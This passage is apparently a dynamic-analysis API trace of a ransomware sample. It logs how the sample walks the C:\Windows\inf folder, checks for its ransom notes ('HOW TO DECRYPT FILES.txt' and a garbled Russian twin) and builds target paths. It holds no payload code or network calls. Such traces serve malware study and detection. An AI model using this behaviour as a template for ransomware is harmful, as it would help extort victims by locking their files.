ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ph3xibc8.PNF") returned -1 [0129.699] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ph3xibc8.PNF") returned -1 [0129.699] lstrcmpiA (lpString1="", lpString2="ph3xibc8.PNF") returned -1 [0129.700] PathFindFileNameA (pszPath="C:\\Windows\\inf\\ph3xibc8.inf") returned="ph3xibc8.inf" [0129.700] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0129.700] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0129.700] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0129.700] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0129.700] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="ph3xibc8.PNF" | out: lpString1="C:\\Windows\\inf\\ph3xibc8.PNF") returned="C:\\Windows\\inf\\ph3xibc8.PNF" [0129.700] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66074773, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x66074773, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x66074773, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x8268, dwReserved0=0x0, dwReserved1=0x0, cFileName="ph3xibc9.inf", cAlternateFileName="")) returned 1 [0129.700] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0129.702] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ph3xibc9.inf") returned -1 [0129.702] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ph3xibc9.inf") returned -1 [0129.702] lstrcmpiA (lpString1="", lpString2="ph3xibc9.inf") returned -1 [0129.702] PathFindFileNameA (pszPath="C:\\Windows\\inf\\ph3xibc8.PNF") returned="ph3xibc8.PNF" [0129.702] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0129.702] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0129.702] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0129.702] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0129.702] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="ph3xibc9.inf" | out: lpString1="C:\\Windows\\inf\\ph3xibc9.inf") returned="C:\\Windows\\inf\\ph3xibc9.inf" [0129.703] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91b78bd3, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x91b78bd3, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x91b78bd3, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x6fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ph3xibc9.PNF", cAlternateFileName="")) returned 1 [0129.703] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0129.703] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ph3xibc9.PNF") returned -1 [0129.703] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ph3xibc9.PNF") returned -1 [0129.703] lstrcmpiA (lpString1="", lpString2="ph3xibc9.PNF") returned -1 [0129.703] PathFindFileNameA (pszPath="C:\\Windows\\inf\\ph3xibc9.inf") returned="ph3xibc9.inf" [0129.703] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0129.703] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0129.703] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0129.703] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0129.703] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="ph3xibc9.PNF" | out: lpString1="C:\\Windows\\inf\\ph3xibc9.PNF") returned="C:\\Windows\\inf\\ph3xibc9.PNF" [0129.704] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65d7abed, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x65d7abed, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x65d7abed, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x3326, dwReserved0=0x0, dwReserved1=0x0, cFileName="ph6xib64c0.inf", cAlternateFileName="PH6XIB~1.INF")) returned 1 [0129.704] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0129.704] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ph6xib64c0.inf") returned -1 [0129.704] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ph6xib64c0.inf") returned -1 [0129.704] lstrcmpiA (lpString1="", lpString2="ph6xib64c0.inf") returned -1 [0129.704] PathFindFileNameA (pszPath="C:\\Windows\\inf\\ph3xibc9.PNF") returned="ph3xibc9.PNF" [0129.704] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0129.704] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0129.704] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0129.704] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0129.704] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="ph6xib64c0.inf" | out: lpString1="C:\\Windows\\inf\\ph6xib64c0.inf") returned="C:\\Windows\\inf\\ph6xib64c0.inf" [0129.704] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95747501, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x95747501, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x95747501, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x469c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ph6xib64c0.PNF", cAlternateFileName="PH6XIB~1.PNF")) returned 1 [0129.705] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0129.705] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ph6xib64c0.PNF") returned -1 [0129.705] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ph6xib64c0.PNF") returned -1 [0129.705] lstrcmpiA (lpString1="", lpString2="ph6xib64c0.PNF") returned -1 [0129.705] PathFindFileNameA (pszPath="C:\\Windows\\inf\\ph6xib64c0.inf") returned="ph6xib64c0.inf" [0129.705] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0129.705] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0129.705] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0129.705] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0129.705] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="ph6xib64c0.PNF" | out: lpString1="C:\\Windows\\inf\\ph6xib64c0.PNF") returned="C:\\Windows\\inf\\ph6xib64c0.PNF" [0129.705] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65dc6eae, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x65dc6eae, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x65dc6eae, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x3a76, dwReserved0=0x0, dwReserved1=0x0, cFileName="ph6xib64c1.inf", cAlternateFileName="PH6XIB~2.INF")) returned 1 [0129.705] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0129.705] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ph6xib64c1.inf") returned -1 [0129.706] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ph6xib64c1.inf") returned -1 [0129.706] lstrcmpiA (lpString1="", lpString2="ph6xib64c1.inf") returned -1 [0129.706] PathFindFileNameA (pszPath="C:\\Windows\\inf\\ph6xib64c0.PNF") returned="ph6xib64c0.PNF" [0129.706] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0129.706] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0129.706] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0129.706] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0129.706] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="ph6xib64c1.inf" | out: lpString1="C:\\Windows\\inf\\ph6xib64c1.inf") returned="C:\\Windows\\inf\\ph6xib64c1.inf" [0129.706] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95878003, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x95878003, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x95878003, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x4fb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ph6xib64c1.PNF", cAlternateFileName="PH6XIB~2.PNF")) returned 1 [0129.706] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.435] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ph6xib64c1.PNF") returned -1 [0130.435] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ph6xib64c1.PNF") returned -1 [0130.435] lstrcmpiA (lpString1="", lpString2="ph6xib64c1.PNF") returned -1 [0130.435] PathFindFileNameA (pszPath="C:\\Windows\\inf\\ph6xib64c1.inf") returned="ph6xib64c1.inf" [0130.435] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.435] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.435] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.435] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.436] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="ph6xib64c1.PNF" | out: lpString1="C:\\Windows\\inf\\ph6xib64c1.PNF") returned="C:\\Windows\\inf\\ph6xib64c1.PNF" [0130.436] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80093051, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x375a498b, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x375a498b, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PNRPSvc", cAlternateFileName="")) returned 1 [0130.437] lstrcmpA (lpString1=".", lpString2="PNRPSvc") returned -1 [0130.437] lstrcmpA (lpString1="..", lpString2="PNRPSvc") returned -1 [0130.437] PathFindFileNameA (pszPath="C:\\Windows\\inf\\ph6xib64c1.PNF") returned="ph6xib64c1.PNF" [0130.437] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="PNRPSvc" | out: lpString1="C:\\Windows\\inf\\PNRPSvc") returned="C:\\Windows\\inf\\PNRPSvc" [0130.437] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\PNRPSvc\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80093051, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x375a498b, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x375a498b, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501536, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0130.438] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0130.438] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80093051, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x375a498b, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x375a498b, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0130.438] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0130.438] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0130.438] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80093051, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80093051, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80093051, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="0000", cAlternateFileName="")) returned 1 [0130.438] lstrcmpA (lpString1=".", lpString2="0000") returned -1 [0130.438] lstrcmpA (lpString1="..", lpString2="0000") returned -1 [0130.438] PathFindFileNameA (pszPath="C:\\Windows\\inf\\PNRPSvc\\*.*") returned="*.*" [0130.438] lstrcatA (in: lpString1="C:\\Windows\\inf\\PNRPSvc\\", lpString2="0000" | out: lpString1="C:\\Windows\\inf\\PNRPSvc\\0000") returned="C:\\Windows\\inf\\PNRPSvc\\0000" [0130.439] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\PNRPSvc\\0000\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80093051, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80093051, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80093051, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4e0204, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502598 [0130.439] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0130.439] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80093051, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80093051, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80093051, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.439] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0130.439] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0130.439] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80093051, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80093051, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80093051, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0130.439] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0130.439] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x375a498b, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x22598b22, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x375a498b, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x300030, dwReserved1=0x300030, cFileName="0409", cAlternateFileName="")) returned 1 [0130.440] lstrcmpA (lpString1=".", lpString2="0409") returned -1 [0130.440] lstrcmpA (lpString1="..", lpString2="0409") returned -1 [0130.440] PathFindFileNameA (pszPath="C:\\Windows\\inf\\PNRPSvc\\*.*") returned="*.*" [0130.440] lstrcatA (in: lpString1="C:\\Windows\\inf\\PNRPSvc\\", lpString2="0409" | out: lpString1="C:\\Windows\\inf\\PNRPSvc\\0409") returned="C:\\Windows\\inf\\PNRPSvc\\0409" [0130.440] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\PNRPSvc\\0409\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x375a498b, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x22598b22, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x375a498b, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0130.440] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0130.440] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x375a498b, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x22598b22, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x375a498b, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.440] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0130.441] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0130.441] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x375a498b, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x22598b22, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x375a498b, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0130.441] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0130.441] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x375a498b, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x22598b22, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x375a498b, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x300030, dwReserved1=0x300030, cFileName="0409", cAlternateFileName="")) returned 0 [0130.441] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0130.441] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x847da527, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x847da527, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x847da527, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10f9, dwReserved0=0x4e0050, dwReserved1=0x500052, cFileName="printupg.inf", cAlternateFileName="")) returned 1 [0130.441] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.441] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="printupg.inf") returned -1 [0130.441] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="printupg.inf") returned -1 [0130.441] lstrcmpiA (lpString1="", lpString2="printupg.inf") returned -1 [0130.441] PathFindFileNameA (pszPath="C:\\Windows\\inf\\*.*") returned="*.*" [0130.441] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.441] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.442] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.442] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.442] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="printupg.inf" | out: lpString1="C:\\Windows\\inf\\printupg.inf") returned="C:\\Windows\\inf\\printupg.inf" [0130.442] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c4e084c, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6c4e084c, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6c4e084c, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xa194, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnbr002.inf", cAlternateFileName="")) returned 1 [0130.442] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.442] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="prnbr002.inf") returned -1 [0130.442] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="prnbr002.inf") returned -1 [0130.442] lstrcmpiA (lpString1="", lpString2="prnbr002.inf") returned -1 [0130.442] PathFindFileNameA (pszPath="C:\\Windows\\inf\\printupg.inf") returned="printupg.inf" [0130.442] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.442] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.442] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.443] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.443] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnbr002.inf" | out: lpString1="C:\\Windows\\inf\\prnbr002.inf") returned="C:\\Windows\\inf\\prnbr002.inf" [0130.443] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ddbb0c1, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x8ddbb0c1, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x8ddbb0c1, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, 